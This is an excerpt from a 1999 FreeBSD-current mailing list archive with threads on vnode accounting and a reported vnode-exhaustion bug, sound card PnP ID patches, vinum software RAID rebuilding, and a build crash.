Network/Security Specialist        BSD: Technical excellence at its best
Any fool can make a rule  And every fool will mind it.


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Tue Sep 28  5:58:36 1999
Delivered-To: freebsd-current@freebsd.org
Received: from ns.oeno.com (ns.oeno.com [194.100.99.145])
	by hub.freebsd.org (Postfix) with SMTP id 1BC1C14DB3
	for <current@FreeBSD.ORG>; Tue, 28 Sep 1999 05:58:33 -0700 (PDT)
	(envelope-from will@ns.oeno.com)
Received: (qmail 17845 invoked by uid 1001); 28 Sep 1999 12:58:31 -0000
Date: 28 Sep 1999 12:58:31 -0000
Message-ID: <19990928125831.17843.qmail@ns.oeno.com>
From: Ville-Pertti Keinonen <will@iki.fi>
To: phk@critter.freebsd.dk
Cc: current@FreeBSD.ORG, culverk@culverk.student.umd.edu
In-reply-to: <25864.938522052@critter.freebsd.dk> (message from Poul-Henning
	Kamp on Tue, 28 Sep 1999 14:34:12 +0200)
Subject: Re: just found this
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG


> >If you want to include the other attack I mentioned (I just tried it,
> >got up to > 160000 vnodes), then you have to exclude vnodes that are
> >only live because of v_cache_src entries from the count.
> 
> It should probably only count vnodes in "actual" use.

There's no counter for that currently.  Counting non-zero v_usecount
vs. non-zero v_holdcnt separately would be reasonably easy.

Actual use obviously shouldn't include cached data.  Can you say off
the top of your head whether v_holdcnt applies to anything other than
v_cache_src and non-VM buffer-cache (struct buf) stuff?

If not, then v_usecount == 0 could be considered non-use without
worrying about v_holdcnt, since most vnodes with cached data are going
to have an associated vm_object holding a real reference.

> >BTW: You still haven't committed the v_id patch I sent you in May.  Is
> >there any specific reason for this?
> 
> I seem to remember we stalled on some detail which wouldn't or
> couldn't work was it NFS ?

No, there was a completely unrelated NFS bug I ran into while looking
into it (which has been fixed), the last comment from you seemed to
imply that you were going to commit the patch.

There were lots of details that needed further attention in my
experiments for actually deallocating vnodes, but those patches
certainly weren't supposed to be committed.


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Tue Sep 28  6:23:22 1999
Delivered-To: freebsd-current@freebsd.org
Received: from dmv096.resnet.ust.hk (dmv096.resnet.ust.hk [143.89.94.146])
	by hub.freebsd.org (Postfix) with ESMTP id 4C25F14BE0
	for <current@FreeBSD.ORG>; Tue, 28 Sep 1999 06:23:17 -0700 (PDT)
	(envelope-from wangsd@dmv096.resnet.ust.hk)
Received: (from wangsd@localhost)
	by dmv096.resnet.ust.hk (8.9.3/8.9.3) id VAA00314;
	Tue, 28 Sep 1999 21:21:53 +0800 (CST)
	(envelope-from wangsd)
Date: Tue, 28 Sep 1999 21:21:53 +0800
From: Wang Shidong <wangsd@ust.hk>
To: Doug Rabson <dfr@nlsystems.com>
Cc: current@FreeBSD.ORG
Subject: Re: ESS1869 logical ID
Message-ID: <19990928212153.A279@ust.hk>
References: <19990928000113.A302@ust.hk> <Pine.BSF.4.10.9909280948060.322-100000@salmon.nlsystems.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Mailer: Mutt 1.0pre2i
In-Reply-To: <Pine.BSF.4.10.9909280948060.322-100000@salmon.nlsystems.com>
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

On Tue, Sep 28, 1999 at 09:48:42AM +0100, Doug Rabson wrote:
> On Tue, 28 Sep 1999, Wang Shidong wrote:
> 
> > Following the suggestion of Mr. Peter Wemm, I manage to get my ESS1869
> > sound card work again. The attachments are the `dmesg' message and the
> > `pnpinfo -v' output. I am grateful if the ID can be added.
> > 
> > Thank you very much.
> 
> Can you confirm that this patch matches your card:

It works.

----
unknown0: <ESS ES1869 Plug and Play AudioDrive> on isa0
pcm0: <ESS1869> at port 0x220-0x22f,0x388-0x38b,0x330-0x331 irq 5 drq 1,0 on isa0
unknown1: <ESS ES1869 Plug and Play AudioDrive> at port 0x201 on isa0
unknown2: <ESS ES1869 Plug and Play AudioDrive> at port 0x168-0x16f,0x36e-0x36f irq 9 on isa0
----

Thank you very much.

> 
> Index: sb.c
> ===================================================================
> RCS file: /home/ncvs/src/sys/dev/pcm/isa/sb.c,v
> retrieving revision 1.24
> diff -u -r1.24 sb.c
> --- sb.c	1999/09/28 08:25:08	1.24
> +++ sb.c	1999/09/28 08:46:26
> @@ -1274,6 +1274,10 @@
>      	case 0x68187316: /* ESS1868 */
>  		s = "ESS1868";
>  		break;
> +
> +	case 0x69187316: /* ESS1869 */
> +		s = "ESS1869";
> +		break;
>      	}
>      	if (s) {
>  		device_set_desc(dev, s);
> 
> --
> Doug Rabson				Mail:  dfr@nlsystems.com
> Nonlinear Systems Ltd.			Phone: +44 181 442 9037
> 
> 
> 
> 
> To Unsubscribe: send mail to majordomo@FreeBSD.org
> with "unsubscribe freebsd-current" in the body of the message
---end quoted text---

regards,
Wang Shidong


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Tue Sep 28  6:32:52 1999
Delivered-To: freebsd-current@freebsd.org
Received: from critter.freebsd.dk (critter.freebsd.dk [212.242.40.131])
	by hub.freebsd.org (Postfix) with ESMTP id 7DE5214E98
	for <current@FreeBSD.ORG>; Tue, 28 Sep 1999 06:32:48 -0700 (PDT)
	(envelope-from phk@critter.freebsd.dk)
Received: from critter.freebsd.dk (localhost [127.0.0.1])
	by critter.freebsd.dk (8.9.3/8.9.2) with ESMTP id PAA26149;
	Tue, 28 Sep 1999 15:32:02 +0200 (CEST)
	(envelope-from phk@critter.freebsd.dk)
To: Ville-Pertti Keinonen <will@iki.fi>
Cc: current@FreeBSD.ORG, culverk@culverk.student.umd.edu
Subject: Re: just found this 
In-reply-to: Your message of "28 Sep 1999 12:58:31 -0000."
             <19990928125831.17843.qmail@ns.oeno.com> 
Date: Tue, 28 Sep 1999 15:32:01 +0200
Message-ID: <26147.938525521@critter.freebsd.dk>
From: Poul-Henning Kamp <phk@critter.freebsd.dk>
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

In message <19990928125831.17843.qmail@ns.oeno.com>, Ville-Pertti Keinonen writ
es:

n>Actual use obviously shouldn't include cached data.  Can you say off
>the top of your head whether v_holdcnt applies to anything other than
>v_cache_src and non-VM buffer-cache (struct buf) stuff?

Sorry, no, can't answer without looking.

>If not, then v_usecount == 0 could be considered non-use without
>worrying about v_holdcnt, since most vnodes with cached data are going
>to have an associated vm_object holding a real reference.
>
>> >BTW: You still haven't committed the v_id patch I sent you in May.  Is
>> >there any specific reason for this?
>> 
>> I seem to remember we stalled on some detail which wouldn't or
>> couldn't work was it NFS ?
>
>No, there was a completely unrelated NFS bug I ran into while looking
>into it (which has been fixed), the last comment from you seemed to
>imply that you were going to commit the patch.

Sorry, we must have missed each other.  I understood that since
NFS held "soft references" it was pointless.  Send me the patch
again and lets resume that one.

--
Poul-Henning Kamp             FreeBSD coreteam member
phk@FreeBSD.ORG               "Real hackers run -current on their laptop."
FreeBSD -- It will take a long time before progress goes too far!


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Tue Sep 28 11:27:14 1999
Delivered-To: freebsd-current@freebsd.org
Received: from overcee.netplex.com.au (overcee.netplex.com.au [202.12.86.7])
	by hub.freebsd.org (Postfix) with ESMTP id 6D05214D60
	for <current@freebsd.org>; Tue, 28 Sep 1999 11:27:09 -0700 (PDT)
	(envelope-from peter@netplex.com.au)
Received: from netplex.com.au (localhost [127.0.0.1])
	by overcee.netplex.com.au (Postfix) with ESMTP
	id 1BD341CBF; Wed, 29 Sep 1999 02:27:08 +0800 (WST)
	(envelope-from peter@netplex.com.au)
X-Mailer: exmh version 2.0.2 2/24/98
To: Doug Rabson <dfr@nlsystems.com>
Cc: Andrew Sparrow <spadger@best.com>, imp@village.org,
	current@freebsd.org
Subject: Re: New PnP code does not work for me(?) 
In-reply-to: Your message of "Tue, 28 Sep 1999 09:42:55 +0100."
             <Pine.BSF.4.10.9909280941070.322-100000@salmon.nlsystems.com> 
Date: Wed, 29 Sep 1999 02:27:08 +0800
From: Peter Wemm <peter@netplex.com.au>
Message-Id: <19990928182708.1BD341CBF@overcee.netplex.com.au>
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

Doug Rabson wrote:
> On Mon, 27 Sep 1999, Andrew Sparrow wrote:
> 
> > 
> > > :      	case 0x31008c0e: /* CTL0031 */
> > > :      	case 0x41008c0e: /* CTL0041 */
> > > :      	case 0x42008c0e: /* CTL0042 */
> > > : +    	case 0x44008c0e: /* CTL0044 */
> > > :      	case 0x45008c0e: /* CTL0045 */
> > 
> > > What is CTL0043?  Seems like a logical progression to me :-)
> > 
> > > Warner

        switch(logical_id) {
>>      case 0x43008c0e: /* CTL0043 */
        case 0x01008c0e: /* CTL0001 */
                s = "Vibra16X";
                break;
 
        case 0x31008c0e: /* CTL0031 */
        case 0x41008c0e: /* CTL0041 */
        case 0x42008c0e: /* CTL0042 */
        case 0x44008c0e: /* CTL0044 */
        case 0x45008c0e: /* CTL0045 */
                s = "SB16 PnP";
                break;
....



Cheers,
-Peter
--
Peter Wemm - peter@FreeBSD.org; peter@yahoo-inc.com; peter@netplex.com.au



To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Tue Sep 28 14: 1:50 1999
Delivered-To: freebsd-current@freebsd.org
Received: from rover.village.org (rover.village.org [204.144.255.49])
	by hub.freebsd.org (Postfix) with ESMTP id 356FD14C1C
	for <freebsd-current@FreeBSD.ORG>; Tue, 28 Sep 1999 14:01:47 -0700 (PDT)
	(envelope-from imp@harmony.village.org)
Received: from harmony.village.org (harmony.village.org [10.0.0.6])
	by rover.village.org (8.9.3/8.9.3) with ESMTP id PAA31545;
	Tue, 28 Sep 1999 15:01:46 -0600 (MDT)
	(envelope-from imp@harmony.village.org)
Received: from harmony.village.org (localhost.village.org [127.0.0.1]) by harmony.village.org (8.9.3/8.8.3) with ESMTP id PAA06277; Tue, 28 Sep 1999 15:01:41 -0600 (MDT)
Message-Id: <199909282101.PAA06277@harmony.village.org>
To: Kenneth Culver <culverk@culverk.student.umd.edu>
Subject: Re: just found this 
Cc: freebsd-current@FreeBSD.ORG
In-reply-to: Your message of "Mon, 27 Sep 1999 23:52:45 EDT."
		<Pine.BSF.4.10.9909272351370.327-100000@culverk.student.umd.edu> 
References: <Pine.BSF.4.10.9909272351370.327-100000@culverk.student.umd.edu>  
Date: Tue, 28 Sep 1999 15:01:41 -0600
From: Warner Losh <imp@village.org>
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

In message <Pine.BSF.4.10.9909272351370.327-100000@culverk.student.umd.edu> Kenneth Culver writes:
: Check this out, if anyone is intrested.
: 
: I found this on packetstorm.securify.com tonight. Any ideas??

Mycroft sent this out after we had fixed this before the 3.3R
release.  At least it appeared in bugtraq after it had been fixed in
FreeBSD, as far as I can tell.

Warner


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Tue Sep 28 15:25:19 1999
Delivered-To: freebsd-current@freebsd.org
Received: from uni4nn.gn.iaf.nl (osmium.gn.iaf.nl [193.67.144.12])
	by hub.freebsd.org (Postfix) with ESMTP id 18F5114F1A
	for <freebsd-current@FreeBSD.ORG>; Tue, 28 Sep 1999 15:25:16 -0700 (PDT)
	(envelope-from wilko@yedi.iaf.nl)
Received: from yedi.iaf.nl (uucp@localhost)
	  by uni4nn.gn.iaf.nl (8.9.2/8.9.2) with UUCP id AAA31776;
	  Wed, 29 Sep 1999 00:12:22 +0200 (MET DST)
Received: (from wilko@localhost)
	by yedi.iaf.nl (8.9.3/8.9.3) id XAA97529;
	Tue, 28 Sep 1999 23:40:12 +0200 (CEST)
	(envelope-from wilko)
From: Wilko Bulte <wilko@yedi.iaf.nl>
Message-Id: <199909282140.XAA97529@yedi.iaf.nl>
Subject: Re: System crash on "vinum start"
In-Reply-To: <199909280743.AAA14205@gndrsh.dnsmgr.net> from "Rodney W. Grimes" at "Sep 28, 1999  0:43: 0 am"
To: freebsd@gndrsh.dnsmgr.net (Rodney W. Grimes)
Date: Tue, 28 Sep 1999 23:40:12 +0200 (CEST)
Cc: peter.jeremy@alcatel.com.au, grog@lemis.com,
	freebsd-current@FreeBSD.ORG
X-Organisation: Private FreeBSD site - Arnhem, The Netherlands
X-pgp-info: PGP public key at 'finger wilko@freefall.freebsd.org'
X-Mailer: ELM [version 2.4ME+ PL43 (25)]
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

As Rodney W. Grimes wrote ...
> > On Tue, Sep 28, 1999 at 09:11:31AM +1000, Greg Lehey wrote:
> > >  Good software shouldn't panic.
> > I wish _I_ could convince some people of this :-(.

> > rather than having to recover each logical volume.  It would also be
> > nice if you could recover mirrored root/swap without needing to
> > unmirror and re-mirror them.
> 
> Hummm.. this may seem like a really stange question, but I'll throw
> it out anyway:
> 
> Would $9,000 paid to a developer here with immediate time avaliable
> bring FreeBSD 3.x to a state of being able to replace our current use
> of hardware raid to do Raid-1 mirroring with hot swap automagic
> rebuild capabilities?  (It would need to be production quality code
> for very serious business, and completed in 3 weeks time.)
> 
> Serious responses only please.

Rod,

Being in the hardware RAID business myself I cannot help asking: why do you
want to loose the hardware RAID in favor of a software solution? Flexibility
(just guessing) or price maybe?

Wilko
-- 
|   / o / /  _  	 Arnhem, The Netherlands	- Powered by FreeBSD -
|/|/ / / /( (_) Bulte 	 WWW  : http://www.tcja.nl 	http://www.freebsd.org


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Tue Sep 28 15:34:27 1999
Delivered-To: freebsd-current@freebsd.org
Received: from gndrsh.dnsmgr.net (GndRsh.dnsmgr.net [198.145.92.4])
	by hub.freebsd.org (Postfix) with ESMTP id 918C5157A7
	for <freebsd-current@FreeBSD.ORG>; Tue, 28 Sep 1999 15:33:18 -0700 (PDT)
	(envelope-from freebsd@gndrsh.dnsmgr.net)
Received: (from freebsd@localhost)
	by gndrsh.dnsmgr.net (8.9.3/8.9.3) id PAA16484;
	Tue, 28 Sep 1999 15:31:55 -0700 (PDT)
	(envelope-from freebsd)
From: "Rodney W. Grimes" <freebsd@gndrsh.dnsmgr.net>
Message-Id: <199909282231.PAA16484@gndrsh.dnsmgr.net>
Subject: Re: System crash on "vinum start"
In-Reply-To: <199909282140.XAA97529@yedi.iaf.nl> from Wilko Bulte at "Sep 28, 1999 11:40:12 pm"
To: wilko@yedi.iaf.nl (Wilko Bulte)
Date: Tue, 28 Sep 1999 15:31:54 -0700 (PDT)
Cc: peter.jeremy@alcatel.com.au, grog@lemis.com,
	freebsd-current@FreeBSD.ORG
X-Mailer: ELM [version 2.4ME+ PL54 (25)]
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

> As Rodney W. Grimes wrote ...
> > > On Tue, Sep 28, 1999 at 09:11:31AM +1000, Greg Lehey wrote:
> > > >  Good software shouldn't panic.
> > > I wish _I_ could convince some people of this :-(.
> 
> > > rather than having to recover each logical volume.  It would also be
> > > nice if you could recover mirrored root/swap without needing to
> > > unmirror and re-mirror them.
> > 
> > Hummm.. this may seem like a really stange question, but I'll throw
> > it out anyway:
> > 
> > Would $9,000 paid to a developer here with immediate time avaliable
> > bring FreeBSD 3.x to a state of being able to replace our current use
> > of hardware raid to do Raid-1 mirroring with hot swap automagic
> > rebuild capabilities?  (It would need to be production quality code
> > for very serious business, and completed in 3 weeks time.)
> > 
> > Serious responses only please.
> 
> Rod,
> 
> Being in the hardware RAID business myself I cannot help asking: why do you
> want to loose the hardware RAID in favor of a software solution? Flexibility
> (just guessing) or price maybe?

Because DPT has screwed this customer over for the last time...


-- 
Rod Grimes - KD7CAX - (RWG25)                    rgrimes@gndrsh.dnsmgr.net


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Tue Sep 28 17:16:23 1999
Delivered-To: freebsd-current@freebsd.org
Received: from panther.cs.ucla.edu (Panther.CS.UCLA.EDU [131.179.128.25])
	by hub.freebsd.org (Postfix) with ESMTP id 8BFF014D40
	for <current@freebsd.org>; Tue, 28 Sep 1999 17:16:21 -0700 (PDT)
	(envelope-from scottm@CS.UCLA.EDU)
Received: (from scottm@localhost)
	by panther.cs.ucla.edu (8.9.1/UCLACS-5.0) id RAA13272
	for current@freebsd.org; Tue, 28 Sep 1999 17:16:20 -0700 (PDT)
Date: Tue, 28 Sep 1999 17:16:20 -0700 (PDT)
From: Scott Michel <scottm@CS.UCLA.EDU>
Message-Id: <199909290016.RAA13272@panther.cs.ucla.edu>
To: current@freebsd.org
Subject: "oops: 894"
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

I've got a slightly hosed -current at the moment that complains
with this error message:

# make
oops: 894

followed by a very healthy looking notice about a segfault and
because I'm root in single user mode, core dumps are abounding.

Since I'm DITW at the moment, anyone got a clue? This Windows
thing is not an environment I want to get used to...


-scooter

(*) I could boot up a 3.2 CD, but solving this 'oops', which
    looks like a ld.so problem seems pretty important.



To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Tue Sep 28 20:41:54 1999
Delivered-To: freebsd-current@freebsd.org
Received: from nhj.nlc.net.au (nhj.nlc.net.au [203.24.133.1])
	by hub.freebsd.org (Postfix) with SMTP id 851081594C
	for <freebsd-current@freebsd.org>; Tue, 28 Sep 1999 20:41:45 -0700 (PDT)
	(envelope-from john.saunders@nlc.net.au)
Received: (qmail 17187 invoked by uid 1000); 29 Sep 1999 13:41:42 +1000
Date: 29 Sep 1999 13:41:42 +1000
Message-ID: <19990929034142.17186.qmail@nhj.nlc.net.au>
From: "John Saunders" <john.saunders@nlc.net.au>
To: "Rodney W. Grimes" <freebsd@gndrsh.dnsmgr.net>
Cc: freebsd-current@freebsd.org
Subject: Re: System crash on "vinum start"
X-Newsgroups: nlc.lists.freebsd-current
In-Reply-To: <199909282231.PAA16484@gndrsh.dnsmgr.net>
User-Agent: tin/pre-1.4-980818 ("Laura") (UNIX) (Linux/2.0.37 (i686))
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

In freebsd-current you wrote:
>> Being in the hardware RAID business myself I cannot help asking: why do you
>> want to loose the hardware RAID in favor of a software solution? Flexibility
>> (just guessing) or price maybe?

> Because DPT has screwed this customer over for the last time...

I suspect that back porting the ida (Compaq SMART RAID) driver from
-current to 3.x would be both quicker and cheaper that the software
development you propose. At least that way you don't have to deal
with DPT.

Any software additions to support hot swap and auto-rebuild would need
to interoperate with vinum. From my understanding, vinum will survive
a failed disk and continue to run. However no mechanism is yet available
to automatically rebuild a new disk.

--            +------------------------------------------------------------+
        .     | John Saunders  - mailto:john@nlc.net.au            (EMail) |
    ,--_|\    |                - http://www.nlc.net.au/              (WWW) |
   /  Oz  \   |                - 02-9489-4932 or 04-1822-3814      (Phone) |
   \_,--\_/   | NORTHLINK COMMUNICATIONS P/L - Supplying a professional,   |
         v    | and above all friendly, internet connection service.       |
              +------------------------------------------------------------+


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Tue Sep 28 20:42:12 1999
Delivered-To: freebsd-current@freebsd.org
Received: from freebie.lemis.com (freebie.lemis.com [192.109.197.137])
	by hub.freebsd.org (Postfix) with ESMTP id A09AA1549E
	for <freebsd-current@FreeBSD.ORG>; Tue, 28 Sep 1999 20:42:04 -0700 (PDT)
	(envelope-from grog@freebie.lemis.com)
Received: (from grog@localhost)
	by freebie.lemis.com (8.9.3/8.9.0) id NAA57788;
	Wed, 29 Sep 1999 13:11:40 +0930 (CST)
Date: Wed, 29 Sep 1999 13:11:39 +0930
From: Greg Lehey <grog@lemis.com>
To: "Rodney W. Grimes" <freebsd@gndrsh.dnsmgr.net>
Cc: Wilko Bulte <wilko@yedi.iaf.nl>, peter.jeremy@alcatel.com.au,
	freebsd-current@FreeBSD.ORG
Subject: Re: System crash on "vinum start"
Message-ID: <19990929131139.Z96948@freebie.lemis.com>
References: <199909282140.XAA97529@yedi.iaf.nl> <199909282231.PAA16484@gndrsh.dnsmgr.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Mailer: Mutt 0.95.4i
In-Reply-To: <199909282231.PAA16484@gndrsh.dnsmgr.net>; from Rodney W. Grimes on Tue, Sep 28, 1999 at 03:31:54PM -0700
WWW-Home-Page: http://www.lemis.com/~grog
X-PGP-Fingerprint: 6B 7B C3 8C 61 CD 54 AF  13 24 52 F8 6D A4 95 EF
Organization: LEMIS, PO Box 460, Echunga SA 5153, Australia
Phone: +61-8-8388-8286
Fax: +61-8-8388-8725
Mobile: +61-41-739-7062
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

On Tuesday, 28 September 1999 at 15:31:54 -0700, Rodney W. Grimes wrote:
>> As Rodney W. Grimes wrote ...
>>>> On Tue, Sep 28, 1999 at 09:11:31AM +1000, Greg Lehey wrote:
>>>>>  Good software shouldn't panic.
>>>> I wish _I_ could convince some people of this :-(.
>>
>>>> rather than having to recover each logical volume.  It would also be
>>>> nice if you could recover mirrored root/swap without needing to
>>>> unmirror and re-mirror them.
>>>
>>> Hummm.. this may seem like a really stange question, but I'll throw
>>> it out anyway:
>>>
>>> Would $9,000 paid to a developer here with immediate time avaliable
>>> bring FreeBSD 3.x to a state of being able to replace our current use
>>> of hardware raid to do Raid-1 mirroring with hot swap automagic
>>> rebuild capabilities?  (It would need to be production quality code
>>> for very serious business, and completed in 3 weeks time.)
>>>
>>> Serious responses only please.
>>
>> Rod,
>>
>> Being in the hardware RAID business myself I cannot help asking: why do you
>> want to loose the hardware RAID in favor of a software solution? Flexibility
>> (just guessing) or price maybe?
>
> Because DPT has screwed this customer over for the last time...

Another reason might be the performance.  Take a look at 
http://www.shub-internet.org/brad/FreeBSD/vinum.html.

Greg
--
See complete headers for address, home page and phone numbers
finger grog@lemis.com for PGP public key


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Tue Sep 28 20:47:38 1999
Delivered-To: freebsd-current@freebsd.org
Received: from freebie.lemis.com (freebie.lemis.com [192.109.197.137])
	by hub.freebsd.org (Postfix) with ESMTP id 05BCF159AF
	for <freebsd-current@FreeBSD.ORG>; Tue, 28 Sep 1999 20:47:31 -0700 (PDT)
	(envelope-from grog@freebie.lemis.com)
Received: (from grog@localhost)
	by freebie.lemis.com (8.9.3/8.9.0) id NAA61979;
	Wed, 29 Sep 1999 13:17:10 +0930 (CST)
Date: Wed, 29 Sep 1999 13:17:09 +0930
From: Greg Lehey <grog@lemis.com>
To: John Saunders <john.saunders@nlc.net.au>
Cc: "Rodney W. Grimes" <freebsd@gndrsh.dnsmgr.net>,
	freebsd-current@FreeBSD.ORG
Subject: Re: System crash on "vinum start"
Message-ID: <19990929131709.A96948@freebie.lemis.com>
References: <199909282231.PAA16484@gndrsh.dnsmgr.net> <19990929034142.17186.qmail@nhj.nlc.net.au>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Mailer: Mutt 0.95.4i
In-Reply-To: <19990929034142.17186.qmail@nhj.nlc.net.au>; from John Saunders on Wed, Sep 29, 1999 at 01:41:42PM +1000
WWW-Home-Page: http://www.lemis.com/~grog
X-PGP-Fingerprint: 6B 7B C3 8C 61 CD 54 AF  13 24 52 F8 6D A4 95 EF
Organization: LEMIS, PO Box 460, Echunga SA 5153, Australia
Phone: +61-8-8388-8286
Fax: +61-8-8388-8725
Mobile: +61-41-739-7062
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

On Wednesday, 29 September 1999 at 13:41:42 +1000, John Saunders wrote:
> In freebsd-current you wrote:
>>> Being in the hardware RAID business myself I cannot help asking: why do you
>>> want to loose the hardware RAID in favor of a software solution? Flexibility
>>> (just guessing) or price maybe?
>
>> Because DPT has screwed this customer over for the last time...
>
> I suspect that back porting the ida (Compaq SMART RAID) driver from
> -current to 3.x would be both quicker and cheaper that the software
> development you propose. At least that way you don't have to deal
> with DPT.
>
> Any software additions to support hot swap and auto-rebuild would need
> to interoperate with vinum. From my understanding, vinum will survive
> a failed disk and continue to run. However no mechanism is yet available
> to automatically rebuild a new disk.

Correct.  At the moment it needs to be done manually.  That's what Rod
is asking for.

Greg
--
See complete headers for address, home page and phone numbers
finger grog@lemis.com for PGP public key


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Tue Sep 28 21: 7:14 1999
Delivered-To: freebsd-current@freebsd.org
Received: from nhj.nlc.net.au (nhj.nlc.net.au [203.24.133.1])
	by hub.freebsd.org (Postfix) with SMTP id 7F1B914C94
	for <freebsd-current@freebsd.org>; Tue, 28 Sep 1999 21:07:08 -0700 (PDT)
	(envelope-from john.saunders@nlc.net.au)
Received: (qmail 23264 invoked by uid 1000); 29 Sep 1999 14:07:08 +1000
Date: 29 Sep 1999 14:07:08 +1000
Message-ID: <19990929040708.23263.qmail@nhj.nlc.net.au>
From: "John Saunders" <john.saunders@nlc.net.au>
To: freebsd-current@freebsd.org
Subject: Re: ESS1869 logical ID
X-Newsgroups: nlc.lists.freebsd-current
In-Reply-To: <19990928212153.A279@ust.hk>
User-Agent: tin/pre-1.4-980818 ("Laura") (UNIX) (Linux/2.0.37 (i686))
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

> ----
> unknown0: <ESS ES1869 Plug and Play AudioDrive> on isa0
> pcm0: <ESS1869> at port 0x220-0x22f,0x388-0x38b,0x330-0x331 irq 5 drq 1,0 on isa0
> unknown1: <ESS ES1869 Plug and Play AudioDrive> at port 0x201 on isa0
> unknown2: <ESS ES1869 Plug and Play AudioDrive> at port 0x168-0x16f,0x36e-0x36f irq 9 on isa0
> ----

Interestingly, that last device "unknown2:" looks to be an IDE interface
for a CDROM drive. Any plans, ideas, thoughts on the PnP system assigning
the ATA driver to this device?

The middle device could possibly be a game port, although the port looks
strange as game ports are normally port 0x200.

--            +------------------------------------------------------------+
        .     | John Saunders  - mailto:john@nlc.net.au            (EMail) |
    ,--_|\    |                - http://www.nlc.net.au/              (WWW) |
   /  Oz  \   |                - 02-9489-4932 or 04-1822-3814      (Phone) |
   \_,--\_/   | NORTHLINK COMMUNICATIONS P/L - Supplying a professional,   |
         v    | and above all friendly, internet connection service.       |
              +------------------------------------------------------------+


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Tue Sep 28 23:58:51 1999
Delivered-To: freebsd-current@freebsd.org
Received: from ns.lhsl.co.jp (ns.lhsl.co.jp [202.222.73.40])
	by hub.freebsd.org (Postfix) with ESMTP id A1E4714D83
	for <freebsd-current@freebsd.org>; Tue, 28 Sep 1999 23:58:44 -0700 (PDT)
	(envelope-from kevin.wallace@lhsl.co.jp)
Received: from kevin2 (ht195b.lhj.co.jp [202.222.73.195])
	by ns.lhsl.co.jp (8.9.1a/3.7W) with SMTP id QAA17750
	for <freebsd-current@freebsd.org>; Wed, 29 Sep 1999 16:05:39 +0900 (JST)
From: kevin.wallace@lhsl.co.jp
Reply-To: <kevin.wallace@lhsl.co.jp>
To: <freebsd-current@freebsd.org>
Subject: subscribe freebsd-current
Date: Wed, 29 Sep 1999 15:55:46 +0900
Message-ID: <0193553FC181D211BE1A00C04F882FCF1981B2@ht18.lhj.co.jp>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-2022-jp"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook 8.5, Build 4.71.2173.0
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

subscribe freebsd-current



To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Wed Sep 29  0:46:22 1999
Delivered-To: freebsd-current@freebsd.org
Received: from not.demophon.com (ns.demophon.com [193.65.70.13])
	by hub.freebsd.org (Postfix) with ESMTP id 366C714BFD
	for <current@freebsd.org>; Wed, 29 Sep 1999 00:45:32 -0700 (PDT)
	(envelope-from will@not.demophon.com)
Received: (from will@localhost)
	by not.demophon.com (8.9.3/8.8.7) id KAA20435;
	Wed, 29 Sep 1999 10:45:17 +0300 (EEST)
	(envelope-from will)
To: Warner Losh <imp@village.org>
Cc: current@freebsd.org
Subject: Re: just found this
References: <Pine.BSF.4.10.9909272351370.327-100000@culverk.student.umd.edu> <199909282101.PAA06277@harmony.village.org.newsgate.clinet.fi>
From: Ville-Pertti Keinonen <will@iki.fi>
Date: 29 Sep 1999 10:45:16 +0300
